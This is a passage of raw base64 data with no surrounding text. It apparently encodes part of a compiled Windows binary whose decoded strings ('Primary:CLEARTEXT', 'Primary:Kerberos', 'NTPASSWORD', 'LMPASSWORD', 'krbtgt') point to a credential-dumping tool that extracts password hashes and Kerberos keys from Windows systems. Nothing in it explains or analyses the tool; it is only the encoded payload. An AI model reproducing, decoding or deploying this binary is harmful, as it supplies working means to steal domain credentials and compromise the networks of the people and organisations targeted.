ATAD0/1xbFgNgAEtcRlwAAAAAEQBS+kZcBAAEABEIIlxbCAhMANf/CFxbFgNoAEtcRlwAAAAAEQAu+kZcBAAEABIAJPpGXAgACAASABr6RlwMAAwAEQgiXFsICAgITACd/whcWxEAAgArCSkABAABAAIADAABAAEAAAAEAP//FgMMAEtcRlwAAAAAEQDa+UZcBAAEABIIIlxbCAgIXFsRAAIAKwkpAAQAAQACAHgAAQABAAAABAD//xYDeABLXEZcAAAAABEAoPlGXBQAFAASCCJcWwhMAA75CEwAIf8ICAhcWxEAAgArCSkABAABAAIAHAABAAEAAAAuAP//twgBAAAAECcAABsDBAAZAAQAAQBLXEhJBAAAAAEAAAAAABIARvlbCFxbGgMcAAAAEgAITADL/zZMAET8TADy+VxbEgDG/xEEAgArCSlUDAABAAIAFAABAAEAAAAkAP//twgAAAAAECcAACEDAAAZAAQAAQD/////AABMABT8XFsaAxQAAAAOAAhMANX/NkwAoPlcWxIA1P8RAAIAKwkpAAQAAQACABQAAQABAAAAOAD//7cIAQAAABAnAAC3DQEAAAAHAAAAGwMEABkAAAABAEtcSEkEAAAAAQAAAAAAEgCK+FsIXFsaAxQAAAAOAEwAwv82CEwAxv82WxIAyv8SAGr4EQQCACsJKVQMAAEAAgAYAAEAAQAAAEQA//+3CAAAAAAQJwAAtwgAAAAAECcAABsDBAAZAAQAAQAIWxsDBAAZAAgAAQBLXEhJBAAAAAEAAAAAABIA/vdbCFxbGgMYAAAAEAAITAC1/0wAu/82NjZcWxIAlv4SALj/EgDA/xEAAgArCSkABAABAAIAIAACAAEAAAAKAAIAAAB0AP//GgMYAAAADAA2NjZMAIX4CFxbEggCXBIA2voSAC73twgAAAAAECcAALcIAAAAABAnAAAaAwwAAAAKAEwA7P8INlxbEgAM+CEDAAAZAAQAAQD/////AABMANr/XFsaAwwAAAAKAAhMALf/NlxbEgDY/xoDIAAAAA4ANjY2NjZMABP4CFxbEgBG9xIAaPoSAD73EgA69xIAxv8RBAIAKwkpVAwAAQACABAAAgABAAAADgACAAAAIAD//xIAOPoaAxAAAAAKADZMAMv3NlxbEhDq/xIICFwWAwgAS1xGXAQABAASAOr2WwgIWxEAAgArCSkABAABAAIAEAABAAEAAAAaAP//twgAAAAAAACgABsAAQAZAAgAAQACWxoDEAAAAAoACAhMAN7/NlsSAOL/EQACACsJKVQMAAEAAgBIAAEAAQAAADYA//+3CAAAAAAAAKAAtwgAAAAAAACgABUHMABMAPz3TAD490wA9PdMAPD3TADs90wA6PdcWxoHSAAAABQATADE/0wAyv9MAND/CDY2QFxbEgC89hIA9PkRAAIAKwkpAAQAAQACABwAAQABAAAALgD//7cIAQAAABAnAAAbAwQAGQAUAAEAS1xISQQAAAABAAAAAAASCCVcWwhcWxoDHAAAAA4ACAgICAhMAMf/NlxbEgDK/xEEAgArCSlUDAABAAIABAABAAEAAABiAP//FgMMAEtcRlwEAAQAEgglXEZcCAAIABIIJVxbCAgIXFsbAwwAGQAAAAEAS1xISQwAAAACAAQABAASCCVcCAAIABIIJVxbTAC5/1sWAwgAS1xGXAQABAASAMj/WwgIWxYDBABLXEZcAAAAABIA3v9bCFxbEQACACsJKQAEAAEAAgAUAAEAAQAAAC4A//+3CAAAAAAQJwAAGwMEABkADAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxQAAAAMAAgINkwAyf82XFsSCCVcEgDI/xEEAgArCSlUDAABAAIABAABAAEAAAAEAP//FQMEAAhbEQACACsJKQAEAAEAAgAMAAEAAQAAAAQA//8WAwwAS1xGXAAAAAASCCVcRlwEAAQAEgglXFsICAhcWxEEAgArCSlUDAABAAIABAABAAEAAACq////EQACACsJKQAEAAEAAgAEAAEAAQAAAAQA//8WAwQAS1xGXAAAAAASCCVcWwhcWxEEAgArCSlUDAABAAIABAABAAEAAABi////EQACACsJKQAEAAEAAgAIAAEAAQAAAAQA//8WAwgAS1xGXAAAAAASCCVcWwgIWxEEAgArCSlUDAABAAIACAAEAAEAAACkAAIAAAB0AQMAAABGAv////+YAv//twgAAAAAECcAABYDHABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcWwgICAgICAhcWxsDHAAZAAAAAQBLXEhJHAAAAAUAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXFtMAH//WxoDCAAAAAgATABo/zZbEgCu/7cIAAAAABAnAAAWA2gAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXEZcFAAUABIIJVxGXBgAGAASCCVcWwgICAgICAgICAhMAFHyTABN8kwASfJMAEXyWxsDaAAZAAAAAQBLXEhJaAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABJ/1saAwgAAAAIAEwAMv82WxIAnv+3CAAAAAAQJwAAFgNsAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgICEwAevFMAHbxTABy8UwAbvFcWxsDbAAZAAAAAQBLXEhJbAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABH/1saAwgAAAAIAEwAMP82WxIAnv+3CAAAAAAQJwAAFgMcAEtcRlwYABgAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAABABgAGAASCCVcW0wAx/9bGgMIAAAACABMALD/NlsSAM7/EQACACsJKQAEAAEAAgAYAAMAAQAAABAAAgAAAC4AAwAAADYA//8aAwwAAAAIADZMABP0WxEA+vAaAxQAAAAIADZMABP0WxIA8P8aAxQAAAAAAEwA5P9cWxoDGAAAAAgATADW/zZbEgBY+REAAgArCSlUDAABAAIAQAADAAEAAAAQAAIAAABKAAMAAADEAf//GgNAAAAAAABMABTwTAB88AgICAgGPlxbtwgAAAAAECcAABUDLABMAPbvTABe8FxbGwMsABkAGAABAEwA5v9cWxoDIAAAABAANggICAgGPkwAx/82XFsSAEjwEgDU/7cIAAAAABAnAAArCRkABAABAAIADAABAAEAAAAgAf//KwkZAAQAAQACACwABwABAAAATgACAAAAXAADAAAA4AAEAAAA6gAFAAAA5AAGAAAA3gAHAAAA2AD//xoDIAAAAAAACAgIBj4ICEwAjfJbGgMkAAAACAA2TADh/1sSAPD/GgMsAAAACgA2CEwA4v9cWxIAsO8WAxQAS1xGXBAAEAASAKDvWwgICAY+CFsVAQQAAgIGWxwBAgAXVQIAAQAXVQAAAQAFWxYDCABLXEZcBAAEABIA4P9bBgYIXFsWAwgAS1xGXAAAAAASAPL/RlwEAAQAEgDS/1sICFsaAyAAAAASADZMAKf/BgYGBjY2CAI/XFsSAC7vEgDE/xIA3v8aAywAAAAAAAgICEwAz/9bGgMQAAAAAAAICAgGPlsWAwwAS1xGXAgACAASANb+WwgICFxbGwMsABkADAABAEwAZv5cWxoDFAAAAAwANgg2TACR/jZcWxIAzO4SAJD+EgDU/xEAAgArCSkABAABAAIACAABAAEAAAAEAP//FQMIAAgIXFsRAAIAKwkpAAQAAQACACgAAgABAAAACgACAAAAHAD//xYDGABLXEZcBAAEABIIJVxbCAhMAOntWxYDKABLXEZcBAAEABIIJVxGXBwAHAASCCVcRlwgACAAEgglXFsICEwAve0ICAgIWxEEAgArCSlUDAABAAIABAAPAAAAAABYAAEAAADsAAIAAAD0AAMAAAA8AQQAAAA2AQUAAAB+AQYAAADIAQcAAABAAggAAABmAgkAAACeAgoAAADeAvr///8yA/v///90A/z///9yA/7///8EAP//EgBkABYHgABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxbCAgICAgITAAN7UwACe1MAAXtTAAB7QsLTADV/kwA0f4ICFsbB4AACQD4/wEATACi/1xbGAcIAOz/S1xISYAACAAEAAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcWwgIWxIAAgAXBwgAFO4ICFxbEgAwABYHMABLXEZcAAAAABIIJVxbCAhMAGH+TACD7AsLWxsHMAAJAPj/AQBMANb/XFsYBwgA7P9LXEhJMAAIAAEACAAIABIIJVxbCAhbEgAwABYDJABLXEZcAAAAABIIJVxbCEwAOuxMABD+CAhcWxsDJAAJAPj/AQBMANb/XFsYAwgA7P9LXEhJJAAIAAEACAAIABIIJVxbCAhbEgBAABoDRAAAABYATADQ/QgIDQg2NjZMAOvrTADn61sSCCVcEgglXBIIJVwhAwAACQD8/wEA/////wAATADG/1xbGgMMAOb/AABMAJL9CFsSAFAAFgdQAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAwADAAUAFD1WwgICAhMAF/9TABb/QhMAFb9TAB460ALC1sbB1AACQD4/wEATAC2/1xbGAcIAOz/S1xISVAACAADAAgACAASCCVcDAAMABIIJVwUABQAFAD+9FsICFsSACAAFQcgAEwALOsLTAAB/VsbByAACQD4/wEATADm/1xbFwcIAOz/CAhcWxIAMAAaBygAAAAOAEwA/OoLTADR/DZAWxIIJVwhBwAACQD4/wEA/////wAATADW/1xbGgcIAOb/AAAICFxbEgA4ABoHOAAAABIANghMAJb8TAC46gsLNkBcWxIIJVwSCCVcIQcAAAkA+P8BAP////8AAEwAzv9cWxoHCADm/wAACAhcWxIATAAaB1gAAAAeADY2CDZMAE78TABK/AhMAEX8TABn6kALCzZAXFsSCCVcEgglXBQAFvQSCCVcIQcAAAkA+P8BAP////8AAEwAuv9cWxoHCADm/wAACAhcWxIAOAC3CAAAAAAAAQAAGgcoAAAADAA2CAgICAgLCEBbEgglXCEHAAAJAPj/AQD/////AABMANj/XFsaBwgA5v8AAEwAwP8IWxIAYOsSACwAtwgAAAAAECcAABUHMAALCAhMAMnpCwgIXFsbBzAACQD4/wEATADk/1xbGgcIAOz/AABMAMz/CFsRAAIAKwkpAAQAAQACADAAAQABAAAARgD//7cIAAAAAAABAAC3CAAAAAAAAQAAtwgAAAAAAAEAABsBAgAZABAAAQAFWxsBAgAZABgAAQAFWxsBAgAZACAAAQAFWxoDMAAAABgACDY2NkwAsP82TAC1/zZMALr/NjY2WxIIJVwSCCVcFAglXBIAsP8SALj/EgDA/xIIJVwSCCVcEQQCACsJKVQMAAEAAgAEAAEAAQAAAKT0//8RAAIAKwkpAAQAAQACAAgAAQABAAAAJAD//7cIAQAAABAnAAAhAwAAGQAAAAEA/////wAATAC48FxbGgMIAAAACABMANb/NlsSANr/EQQCACsJKVQMAAEAAgAIAAEAAQAAACQA//+3CAAAAAAQJwAAIQMAABkAAAABAP////8AAEwA4vBcWxoDCAAAAAgATADW/zZbEgDa/xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwAAAAAEQCy6FsITAAq6AhbEQACACsJKQAEAAEAAgAsAAEAAQAAAAoA//8dABAAAlsWAywAS1xGXBQAFAASAHroRlwYABgAEgBs6VtMAOnnCAgITADW/1xbEQQCACsJKVQMAAEAAgAMAAEAAQAAAB4A//+3CAAAAAAAAKAAGwMQABkABAABAEwArudcWxoDDAAAAAoACEwA2/82XFsSAN7/EQACACsJKQAEAAEAAgAQAAEAAQAAAC4A//+3CAEAAAAQJwAAGwMEABkABAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxAAAAAKADZMAMv/NghbEgglXBIAyv8RBAIAKwkpVAwAAQACAAwAAQABAAAAHgD//7cIAAAAABAnAAAbAwgAGQAAAAEATADk+FxbGgMMAAAACgBMANz/NghcWxIA3v8RAAIAKwkpAAQAAQACAAQAAQABAAAAjPL//xEEAgArCSlUDAABAAIABAABAAEAAABy8v//EQACACsJKQAEAAEAAgAYAAEAAQAAAAQA//8WAxgAS1xGXBQAFAARABjnWwhMAJDmCFsRBAIAKwkpVAwAAQACAAQAAQABAAAAJvL//xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwUABQAEgglXFsITABE5ghbEQQCACsJKVQMAAEAAgAMAAEAAQAAAAQA//8VAwwACAgIWxEAAgArCSkABAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwAAAAAEgglXEZcBAAEABIIJVxbCAhbEQQCACsJKVQMAAEAAgAQAAEAAQAAABoA//+3CAAAAAAABAAAGwECABkACAABAAVbGgMQAAAACgA2NkwA3v82WxIIJVwSCCVcEgDa/xEAAgArCSkABAABAAIADAABAAEAAAAOAP//twgAAAAA//8AABoDDAAAAAoANkwA6/82XFsSCCVcEgCi6REEAgArCSlUDAABAAIABAABAAEAAAD48P//EQACACsJKQAEAAEAAgAEAAEAAQAAAFLx//8RBAIAKwkpVAwAAQACAAwAAQABAAAADgD//7cIAAAAAP//AAAaAwwAAAAKAAhMAOv/NlxbEgA26REAAgArCSkABAABAAIABAABAAEAAACM8P//EQQCACsJKVQMAAEAAgAgAAEAAQAAADoA//+3CAAAAAAABAAAtwgAAAAAAACgALcIAAAAAAAAoAAbAAEAGQAQAAEAAlsbAAEAGQAYAAEAAlsaAyAAAAAUAAg2TAC+/zZMAMP/NkwAyP82WxIIJVwSACruEgDE/xIAzP8RAAIAKwkpAAQAAQACAAwAAQABAAAADgD//7cIAQAAAAAEAAAaAwwAAAAKAAhMAOv/NlxbEgBq6BEEAgArCSlUDAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwEAAQAEgglXFsICFsAAHhCBBAQiwAQNosAEEwoBhAAAAAAAAAAAAAAAAAAAAAAgh0EEAEAAAAAAAYAAAAAAFMCAAgAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAABgAMgAAAEQAQABHBQgHAQABAAAACgAEAAIACwAIABgAEyAMAEAAEAEQAEgAcAAUAAgAAEgAAAAAAQAIADDgAAAAADgAQABEAggBAAAAAAAAGAEAAFAAcAAEAAgAAEgAAAAAAgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAFwAcAAMAAgAAEgAAAAAAwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMgAUCEMAAgAEwEQAPgCcAAUAAgAAEgAAAAABAAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMQFcAAMAAgAAEgAAAAABQAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAAIGcAAMAAgAAEgAAAAABgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAJAGcAAMAAgAAEgAAAAABwAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMoGcAAMAAgAAEgAAAAACAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAA4HUCEMAAgAE2EQAG4HcAAUAAgAAEgAAAAACQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMAHUCEMAAgAE2EQACoIcAAUAAgAAEgAAAAACgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAKYIUCEMAAgAE0EQAF4JcAAUAAgAAEgAAAAACwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAK4JUCEMAAgAEwEQAPIJcAAUAAgAAEgAAAAADAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGAKUCEMAAgAEyEQALwKcAAUAAgAAEgAAAAADQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAEgLUCEMAAgAEyEQAKYLcAAUAAgAAEgAAAAADgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMYLUCEMAAgAEyEQAAAMcAAUAAgAAEgAAAAADwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIABoMUCEMAAgAEyEQAEgMcAAUAAgAAEgAAAAAEAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIMUCEMAAgAEyEQAJAMcAAUAAgAAEgAAAAAEQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIPUCEMAAgAEwEQAMwPcAAUAAgAAEgAAAAAEgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIANARcAAMAAgAAEkAAAAAEwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAPIRUCEMAAgAEyEQAFoScAAUAAgAAEkAAAAAFAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGwWUCEMAAgAEyEQAAYXcAAUAAgAAEgAAAAAFQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIACAXUCEMAAgAEyEQAGwXcAAUAAgAAEgAAAAAFgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIALgXcAAMAAgAAEgAAAAAFwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAOoXUCEMAAgAE0EQADIYcAAUAAgAAEgAAAAAGAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQ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AAABgAAAAaAAAAHAAAACQAAAAmAAAAJQAAACgAAAAkAAAABAAAAAIAAAAFAAAABwAAAAoAAAAIAAAACQAAABQAAAAkAAAAKAAAACwAAAAwAAAAMQAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAAA4AAAAQAAAAEgAAABMAAAAYAAAAGgAAABwAAAAkAAAAJgAAACUAAAAoAAAAIgAAAAYAAAADAAAABgAAAAgAAAAQAAAACgAAAAkAAAAUAAAAJAAAACgAAAAsAAAAMAAAADEAAAAEAAAABQAAAAYAAAAIAAAACgAAAAwAAAASAAAAFAAAABYAAAAXAAAAHAAAAB4AAAAgAAAAKAAAACoAAAApAAAALAAAACIAAAAGAAAAAwAAAAYAAAAIAAAAEAAAAAoAAAAJAAAAFAAAACQAAAAoAAAALAAAADAAAAAxAAAABAAAAAUAAAAGAAAACAAAAAoAAAAMAAAAEgAAABQAAAAWAAAAFwAAABwAAAAeAAAAIAAAACgAAAAqAAAAKQAAACwAAAAiAAAABgAAAAMAAAAGAAAACQAAABAAAAAKAAAACgAAABYAAAAqAAAALgAAADIAAAA2AAAANwAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAABIAAA